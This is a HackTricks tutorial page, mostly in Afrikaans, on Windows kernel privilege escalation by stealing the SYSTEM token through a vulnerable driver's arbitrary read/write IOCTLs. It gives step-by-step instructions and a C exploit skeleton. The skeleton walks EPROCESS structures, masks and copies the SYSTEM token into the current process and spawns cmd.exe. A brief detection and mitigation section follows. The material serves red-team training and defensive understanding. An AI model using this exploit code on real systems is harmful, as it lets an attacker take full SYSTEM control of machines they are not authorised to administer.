Windows kernel EoP: Token stealing with arbitrary kernel R/W

Reading time: 6 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Oorsig

As 'n kwesbare driver 'n IOCTL blootstel wat 'n aanvaller arbitêre kernel lees- en/of skryf-primitives gee, kan opgradering na NT AUTHORITY\SYSTEM dikwels bereik word deur 'n SYSTEM-toegangs-Token te steel. Die tegniek kopieer die Token-pen van 'n SYSTEM-proses se EPROCESS na die huidige proses se EPROCESS.

Waarom dit werk:

  • Elke proses het 'n EPROCESS-struktuur wat (onder ander velde) 'n Token bevat (egter 'n EX_FAST_REF na 'n token-objek).
  • Die SYSTEM-proses (PID 4) hou 'n token met alle voorregte geaktiveer.
  • Deur die huidige proses se EPROCESS.Token te vervang met die SYSTEM-token-pen, hardloop die huidige proses onmiddellik as SYSTEM.

Let wel: offsets in EPROCESS verskil oor Windows-weergawes. Bepaal dit dinamies (simboles) of gebruik weergawespesifieke konstantes. Onthou ook dat EPROCESS.Token 'n EX_FAST_REF is (die laagste 3 bisse is verwysingtelling-vlae).

Hoëvlakstappe

  1. Vind die basis van ntoskrnl.exe en los die adres van PsInitialSystemProcess op.
  • Vanaf gebruikermodus, gebruik NtQuerySystemInformation(SystemModuleInformation) of EnumDeviceDrivers om gelaaide driver-bases te kry.
  • Voeg die offset van PsInitialSystemProcess (van simboles/reversing) by die kernel-basis om sy adres te kry.
  1. Lees die pen by PsInitialSystemProcess → dit is 'n kernel-pen na SYSTEM se EPROCESS.
  2. Vanaf die SYSTEM EPROCESS, lees die offsets van UniqueProcessId en ActiveProcessLinks om die dubbel-gekoppelde lys van EPROCESS-strukture te deurkruis (ActiveProcessLinks.Flink/Blink) totdat jy die EPROCESS vind waarvan UniqueProcessId gelyk is aan GetCurrentProcessId(). Hou albei:
  • EPROCESS_SYSTEM (vir SYSTEM)
  • EPROCESS_SELF (vir die huidige proses)
  1. Lees SYSTEM token waarde: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
  • Masker die laagste 3 bisse uit: Token_SYS_masked = Token_SYS & ~0xF (gewoonlik ~0xF of ~0x7 afhangend van die build; op x64 word die laagste 3 bisse gebruik — 0xFFFFFFFFFFFFFFF8 masker).
  1. Opsie A (algemeen): Bewaar die laagste 3 bisse van jou huidige token en heg dit aan SYSTEM se pen om die ingebedde verwysingtelling konsekwent te hou.
  • Token_ME = *(EPROCESS_SELF + TokenOffset)
  • Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
  1. Skryf Token_NEW terug in (EPROCESS_SELF + TokenOffset) met jou kernel-skryfprimitive.
  2. Jou huidige proses is nou SYSTEM. Opsioneel spawn 'n nuwe cmd.exe of powershell.exe om te bevestig.

Pseudokode

Hieronder is 'n ruggraat wat slegs twee IOCTLs van 'n kwesbare driver gebruik, een vir 8-byte kernel lees en een vir 8-byte kernel skryf. Vervang dit met jou driver se koppelvlak.

c
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>

// Device + IOCTLs are driver-specific
#define DEV_PATH   "\\\\.\\VulnDrv"
#define IOCTL_KREAD  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)

// Version-specific (examples only – resolve per build!)
static const uint32_t Off_EPROCESS_UniquePid    = 0x448; // varies
static const uint32_t Off_EPROCESS_Token        = 0x4b8; // varies
static const uint32_t Off_EPROCESS_ActiveLinks  = 0x448 + 0x8; // often UniquePid+8, varies

BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
}
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
struct { uint64_t addr, val; } in; DWORD ret;
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
}

// Get ntoskrnl base (one option)
uint64_t get_nt_base(void) {
LPVOID drivers[1024]; DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
return (uint64_t)drivers[0]; // first is typically ntoskrnl
}
return 0;
}

int main(void) {
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;

// 1) Resolve PsInitialSystemProcess
uint64_t nt = get_nt_base();
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build

// 2) Read SYSTEM EPROCESS
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);

// 3) Walk ActiveProcessLinks to find current EPROCESS
DWORD myPid = GetCurrentProcessId();
uint64_t cur = EPROC_SYS; // list is circular
uint64_t EPROC_ME = 0;
do {
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
} while (cur != EPROC_SYS);

// 4) Read tokens
uint64_t tok_sys, tok_me;
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
kread_qword(h, EPROC_ME  + Off_EPROCESS_Token, &tok_me);

// 5) Mask EX_FAST_REF low bits and splice refcount bits
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);

// 6) Write back
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);

// 7) We are SYSTEM now
system("cmd.exe");
return 0;
}

Aantekeninge:

  • Offsets: Gebruik WinDbg se dt nt!_EPROCESS met die teiken se PDBs, of 'n runtime-simboollader, om die korrekte ofsette te kry. Moet nie blindelings hardcodeer nie.
  • Masker: Op x64 is die token 'n EX_FAST_REF; die lae 3 bits is verwysingstellings-bits. Die oorspronklike lae bits van jou token behou voorkom onmiddellike refcount-onkonsekwenthede.
  • Stabiliteit: Liewer verhoog die huidige proses; as jy 'n kortlewende helper verhoog, kan jy SYSTEM verloor wanneer dit afsluit.

Opsporing en versagting

  • Die laai van ongetekende of onbetroubare derdeparty-drivers wat kragtige IOCTLs blootstel, is die kernoorsaak.
  • Kernel Driver Blocklist (HVCI/CI), DeviceGuard, en Attack Surface Reduction-reëls kan verhoed dat kwesbare drivers gelaai word.
  • EDR kan let op verdagte IOCTL-reekse wat arbitêre read/write implementeer en op token-wisselings.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks